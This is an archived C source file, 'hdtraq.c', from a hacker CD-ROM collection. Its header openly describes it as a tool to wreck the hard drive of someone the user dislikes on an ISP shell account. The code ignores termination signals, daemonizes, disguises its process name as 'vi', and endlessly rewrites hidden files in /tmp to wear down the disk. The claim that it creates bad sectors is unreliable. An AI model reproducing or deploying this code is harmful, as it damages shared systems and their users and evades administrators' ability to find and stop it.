home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / hdtraq.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  2.9 KB  |  105 lines

  1. /* hdtraq.c -- Create bad sectors on a HD of someone you don't like
  2.    Run is for as long as you can, it runs as a daemon so just
  3.    compile, run, logoff.. Comeback a week later or something :)
  4.    Wurx good on lameass ISPs
  5.  
  6.    Compilation:
  7.         on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
  8.         on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
  9.  
  10.         on my linux, I can compile it with both -DBSD_C and -DSYSV_C
  11.  
  12.         if your not sure, you can experiment, or compile it
  13.         without any -D'efines
  14.  
  15.   NOTE: this program is provided for educational purposes only, its author
  16.         will not take any responsibility for any stupid things you will
  17.         decide to do.
  18.  
  19.     This program is a pre-release. It must contain bugs!@#
  20.     if you find any /msg me on irc
  21.                     -- Vio
  22.  
  23.             .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
  24.             $$'   s   `$'   s   `$    $    $    $    `$   $$
  25.             $$    $    $    $    $    $    $    $         $$
  26.             $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
  27.             $$    $ssss$    $    $    $    $    $   $$$   $$
  28.             $$    $    $    $    $.   $   ,$    $   $$$   $$
  29.             $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
  30.             `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
  31. */
  32.  
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <sys/types.h>
  36. #include <sys/stat.h>
  37. #include <fcntl.h>
  38. #include <unistd.h>
  39. #include <signal.h>
  40.  
  41. #define BUFSIZE 640000
  42.  
  43. main(int argc, char *argv[])
  44. {
  45. int fl[5];
  46. int c;
  47. char *buff;
  48.  
  49. signal(SIGINT,  SIG_IGN);       /* If any of the signals don't work */
  50. signal(SIGHUP,  SIG_IGN);       /* on the system you are compiling  */
  51. signal(SIGTERM, SIG_IGN);       /* them on, just erase that line    */
  52. signal(SIGALRM, SIG_IGN);
  53. signal(SIGBUS,  SIG_IGN);
  54. signal(SIGFPE,  SIG_IGN);
  55. signal(SIGILL,  SIG_IGN);
  56. signal(SIGIOT,  SIG_IGN);
  57. signal(SIGPIPE, SIG_IGN);
  58. signal(SIGQUIT, SIG_IGN);
  59. signal(SIGSEGV, SIG_IGN);
  60. signal(SIGTRAP, SIG_IGN);
  61. signal(SIGUSR1, SIG_IGN);
  62. signal(SIGUSR2, SIG_IGN);
  63. #ifdef BSD_C
  64.         signal(SIGPROF, SIG_IGN);
  65.         signal(SIGSTOP, SIG_IGN);
  66.         signal(SIGTSTP, SIG_IGN);
  67.         signal(SIGTTIN, SIG_IGN);
  68.         signal(SIGTTOU, SIG_IGN);
  69.         signal(SIGVTALRM,       SIG_IGN);
  70.         signal(SIGXCPU, SIG_IGN);
  71.         signal(SIGXFSZ, SIG_IGN);
  72. #endif
  73.  
  74. #ifdef SYSV_C
  75.         signal(SIGPOLL, SIG_IGN);
  76.         signal(SIGPWR,  SIG_IGN);
  77. #endif
  78.  
  79. if(fork()) {
  80.     printf("Now making the HD a piece of useless junk\n");
  81.     printf("Running this wiglet utility as a daemon\n");
  82.     printf("Come back later.. err try\n");
  83.     printf("            --CoViN\n");
  84.     exit(0);
  85.     }
  86.  
  87. argv[0] = "vi";
  88. buff=malloc(BUFSIZE);
  89.  
  90. /* i coded this in a hurry.. hehe     */
  91. while(1) {
  92.     c=0;
  93.     fl[0]=open("/tmp/.a",O_WRONLY|O_CREAT,511);
  94.     fl[1]=open("/tmp/.b",O_WRONLY|O_CREAT,511);
  95.     fl[2]=open("/tmp/.c",O_WRONLY|O_CREAT,511);
  96.     fl[3]=open("/tmp/.d",O_WRONLY|O_CREAT,511);
  97.     while(c<4) {
  98.         write(fl[c], buff, BUFSIZE);
  99.         lseek(fl[c], 0, SEEK_SET);
  100.         close(fl[c]);
  101.         c++;
  102.         }
  103.     }    
  104. }
  105.